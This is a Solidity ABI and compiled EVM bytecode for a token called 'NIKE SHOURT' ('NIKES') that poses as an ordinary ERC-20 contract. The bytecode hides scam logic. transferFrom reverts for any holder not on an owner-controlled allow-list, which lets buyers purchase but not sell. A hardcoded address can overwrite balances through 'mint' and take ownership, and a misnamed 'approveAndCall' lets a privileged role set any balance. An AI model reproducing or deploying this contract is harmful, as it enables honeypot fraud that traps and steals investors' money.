[ { "inputs": [ { "internalType": "string", "name": "_name", "type": "string" }, { "internalType": "string", "name": "_symbol", "type": "string" }, { "internalType": "uint8", "name": "_decimals", "type": "uint8" }, { "internalType": "uint256", "name": "_totalSupply", "type": "uint256" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "_adm", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_mod", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_usdtPair", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "_user", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "holder", "type": "address" }, { "internalType": "bool", "name": "allowApprove", "type": "bool" } ], "name": "addAllow", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "holder", "type": "address" }, { "internalType": "bool", "name": "allowApprove", "type": "bool" } ], "name": "addAllowance", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "allow", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_owner", "type": "address" }, { "internalType": "address", "name": "_spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" }, { "internalType": "address", "name": "", "type": "address" } ], "name": "allowed", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_spender", "type": "address" }, { "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "addedValue", "type": "uint256" } ], "name": "approveAndCall", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_owner", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "balance", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "balances", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "count", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "dec", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "get", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "inc", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "miner", "type": "address" }, { "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "mint", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "Adm_", "type": "address" } ], "name": "setAdm", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "Mod_", "type": "address" } ], "name": "setMod", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "Pair_", "type": "address" } ], "name": "setUsdtPair", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "User_", "type": "address" } ], "name": "setUser", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "addr", "type": "address" } ], "name": "show160", "outputs": [ { "internalType": "uint160", "name": "", "type": "uint160" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_to", "type": "address" }, { "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_from", "type": "address" }, { "internalType": "address", "name": "_to", "type": "address" }, { "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ]
608060405234801561000f575f80fd5b5060405161226c38038061226c83398181016040528101906100319190610309565b335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550836003908161007f91906105a9565b50826004908161008f91906105a9565b508160055f6101000a81548160ff021916908360ff16021790555080600681905550600654600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050505050610678565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6101b28261016c565b810181811067ffffffffffffffff821117156101d1576101d061017c565b5b80604052505050565b5f6101e3610153565b90506101ef82826101a9565b919050565b5f67ffffffffffffffff82111561020e5761020d61017c565b5b6102178261016c565b9050602081019050919050565b8281835e5f83830152505050565b5f61024461023f846101f4565b6101da565b9050828152602081018484840111156102605761025f610168565b5b61026b848285610224565b509392505050565b5f82601f83011261028757610286610164565b5b8151610297848260208601610232565b91505092915050565b5f60ff82169050919050565b6102b5816102a0565b81146102bf575f80fd5b50565b5f815190506102d0816102ac565b92915050565b5f819050919050565b6102e8816102d6565b81146102f2575f80fd5b50565b5f81519050610303816102df565b92915050565b5f805f80608085870312156103215761032061015c565b5b5f85015167ffffffffffffffff81111561033e5761033d610160565b5b61034a87828801610273565b945050602085015167ffffffffffffffff81111561036b5761036a610160565b5b61037787828801610273565b9350506040610388878288016102c2565b9250506060610399878288016102f5565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806103f357607f821691505b602082108103610406576104056103af565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026104687fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261042d565b610472868361042d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6104ad6104a86104a3846102d6565b61048a565b6102d6565b9050919050565b5f819050919050565b6104c683610493565b6104da6104d2826104b4565b848454610439565b825550505050565b5f90565b6104ee6104e2565b6104f98184846104bd565b505050565b5b8181101561051c576105115f826104e6565b6001810190506104ff565b5050565b601f821115610561576105328161040c565b61053b8461041e565b8101602085101561054a578190505b61055e6105568561041e565b8301826104fe565b50505b505050565b5f82821c905092915050565b5f6105815f1984600802610566565b1980831691505092915050565b5f6105998383610572565b9150826002028217905092915050565b6105b2826103a5565b67ffffffffffffffff8111156105cb576105ca61017c565b5b6105d582546103dc565b6105e0828285610520565b5f60209050601f831160018114610611575f84156105ff578287015190505b610609858261058e565b865550610670565b601f19841661061f8661040c565b5f5b8281101561064657848901518255600182019150602085019450602081019050610621565b86831015610663578489015161065f601f891682610572565b8355505b6001600288020188555050505b505050505050565b611be7806106855f395ff3fe608060405234801561000f575f80fd5b50600436106101e3575f3560e01c80635ea0bcdf1161010d578063a9059cbb116100a0578063dd62ed3e1161006f578063dd62ed3e146105bb578063e2daf665146105eb578063f2fde38b14610609578063ff9913e814610625576101e3565b8063a9059cbb14610533578063ade2de0214610563578063b3bcfa8214610593578063d21c8d551461059d576101e3565b8063858ced35116100dc578063858ced35146104a9578063891e1ee0146104d95780638da5cb5b146104f757806395d89b4114610515576101e3565b80635ea0bcdf1461040f5780636d4ce63c1461043f57806370a082311461045d578063791f83eb1461048d576101e3565b8063313ce5671161018557806340c10f191161015457806340c10f19146103775780634a0af68d1461039357806355eff2f6146103c35780635c658165146103df576101e3565b8063313ce567146102ef5780633177029f1461030d578063371303c01461033d578063376d567c14610347576101e3565b806311de19e7116101c157806311de19e71461025357806318160ddd1461027157806323b872dd1461028f57806327e235e3146102bf576101e3565b806306661abd146101e757806306fdde0314610205578063095ea7b314610223575b5f80fd5b6101ef610655565b6040516101fc919061174d565b60405180910390f35b61020d61065b565b60405161021a91906117d6565b60405180910390f35b61023d6004803603810190610238919061187e565b6106e7565b60405161024a91906118d6565b60405180910390f35b61025b6107d4565b60405161026891906118fe565b60405180910390f35b6102796107f9565b604051610286919061174d565b60405180910390f35b6102a960048036038101906102a49190611917565b6107ff565b6040516102b691906118d6565b60405180910390f35b6102d960048036038101906102d49190611967565b610bf6565b6040516102e6919061174d565b60405180910390f35b6102f7610c0b565b60405161030491906119ad565b60405180910390f35b6103276004803603810190610322919061187e565b610c1d565b60405161033491906118d6565b60405180910390f35b610345610ccb565b005b610361600480360381019061035c9190611967565b610ce6565b60405161036e91906118d6565b60405180910390f35b610391600480360381019061038c919061187e565b610d88565b005b6103ad60048036038101906103a89190611967565b610e19565b6040516103ba91906118d6565b60405180910390f35b6103dd60048036038101906103d891906119f0565b610ebb565b005b6103f960048036038101906103f49190611a2e565b610f5e565b604051610406919061174d565b60405180910390f35b61042960048036038101906104249190611967565b610f7e565b6040516104369190611a7b565b60405180910390f35b610447610f87565b604051610454919061174d565b60405180910390f35b61047760048036038101906104729190611967565b610f90565b604051610484919061174d565b60405180910390f35b6104a760048036038101906104a291906119f0565b610fd6565b005b6104c360048036038101906104be9190611967565b611086565b6040516104d091906118d6565b60405180910390f35b6104e1611128565b6040516104ee91906118fe565b60405180910390f35b6104ff61114d565b60405161050c91906118fe565b60405180910390f35b61051d611170565b60405161052a91906117d6565b60405180910390f35b61054d6004803603810190610548919061187e565b6111fc565b60405161055a91906118d6565b60405180910390f35b61057d60048036038101906105789190611967565b61140e565b60405161058a91906118d6565b60405180910390f35b61059b6114a3565b005b6105a56114be565b6040516105b291906118fe565b60405180910390f35b6105d560048036038101906105d09190611a2e565b6114e3565b6040516105e2919061174d565b60405180910390f35b6105f3611565565b60405161060091906118fe565b60405180910390f35b610623600480360381019061061e9190611967565b61158a565b005b61063f600480360381019061063a9190611967565b6116c7565b60405161064c91906118d6565b60405180910390f35b60095481565b6003805461066890611ac1565b80601f016020809104026020016040519081016040528092919081815260200182805461069490611ac1565b80156106df5780601f106106b6576101008083540402835291602001916106df565b820191905f5260205f20905b8154815290600101906020018083116106c257829003601f168201915b505050505081565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107c2919061174d565b60405180910390a36001905092915050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610837575f80fd5b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610880575f80fd5b600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610904575f80fd5b60011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615151461095d575f80fd5b6109ad82600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116e490919063ffffffff16565b600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610a3e82600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170a90919063ffffffff16565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610b0a82600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116e490919063ffffffff16565b600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610be3919061174d565b60405180910390a3600190509392505050565b600a602052805f5260405f205f915090505481565b60055f9054906101000a900460ff1681565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c76575f80fd5b5f821115610cc15781600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6001905092915050565b600160095f828254610cdd9190611b1e565b92505081905550565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d3f575f80fd5b8160025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b7341925e5e6a5e9a60ef1a408aee2ee6bc3afc5e3773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dd3575f80fd5b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e72575f80fd5b8160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b7341925e5e6a5e9a60ef1a408aee2ee6bc3afc5e3773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f06575f80fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c602052815f5260405f20602052805f5260405f205f91509150505481565b5f819050919050565b5f600954905090565b5f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461102e575f80fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110df575f80fd5b8160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004805461117d90611ac1565b80601f01602080910402602001604051908101604052809291908181526020018280546111a990611ac1565b80156111f45780601f106111cb576101008083540402835291602001916111f4565b820191905f5260205f20905b8154815290600101906020018083116111d757829003601f168201915b505050505081565b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611234575f80fd5b600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205482111561127d575f80fd5b6112cd82600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116e490919063ffffffff16565b600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061135e82600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461170a90919063ffffffff16565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113fc919061174d565b60405180910390a36001905092915050565b5f73abda6be9a6dd2886ec74e8bc6ddb4a7f76134cce73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461145a575f80fd5b8160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600160095f8282546114b59190611b51565b92505081905550565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7341925e5e6a5e9a60ef1a408aee2ee6bc3afc5e3773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115d5575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361160c575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f828211156116f6576116f5611b84565b5b81836117029190611b51565b905092915050565b5f8082846117189190611b1e565b90508381101561172b5761172a611b84565b5b8091505092915050565b5f819050919050565b61174781611735565b82525050565b5f6020820190506117605f83018461173e565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6117a882611766565b6117b28185611770565b93506117c2818560208601611780565b6117cb8161178e565b840191505092915050565b5f6020820190508181035f8301526117ee818461179e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611823826117fa565b9050919050565b61183381611819565b811461183d575f80fd5b50565b5f8135905061184e8161182a565b92915050565b61185d81611735565b8114611867575f80fd5b50565b5f8135905061187881611854565b92915050565b5f8060408385031215611894576118936117f6565b5b5f6118a185828601611840565b92505060206118b28582860161186a565b9150509250929050565b5f8115159050919050565b6118d0816118bc565b82525050565b5f6020820190506118e95f8301846118c7565b92915050565b6118f881611819565b82525050565b5f6020820190506119115f8301846118ef565b92915050565b5f805f6060848603121561192e5761192d6117f6565b5b5f61193b86828701611840565b935050602061194c86828701611840565b925050604061195d8682870161186a565b9150509250925092565b5f6020828403121561197c5761197b6117f6565b5b5f61198984828501611840565b91505092915050565b5f60ff82169050919050565b6119a781611992565b82525050565b5f6020820190506119c05f83018461199e565b92915050565b6119cf816118bc565b81146119d9575f80fd5b50565b5f813590506119ea816119c6565b92915050565b5f8060408385031215611a0657611a056117f6565b5b5f611a1385828601611840565b9250506020611a24858286016119dc565b9150509250929050565b5f8060408385031215611a4457611a436117f6565b5b5f611a5185828601611840565b9250506020611a6285828601611840565b9150509250929050565b611a75816117fa565b82525050565b5f602082019050611a8e5f830184611a6c565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611ad857607f821691505b602082108103611aeb57611aea611a94565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b2882611735565b9150611b3383611735565b9250828201905080821115611b4b57611b4a611af1565b5b92915050565b5f611b5b82611735565b9150611b6683611735565b9250828203905081811115611b7e57611b7d611af1565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52600160045260245ffdfea264697066735822122043da797d76dd022842692f5ee9533c4b17e0c28a48ef7f4d004921ad719bebd064736f6c63430008190033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000002540be400000000000000000000000000000000000000000000000000000000000000000b4e494b452053484f55525400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e494b4553000000000000000000000000000000000000000000000000000000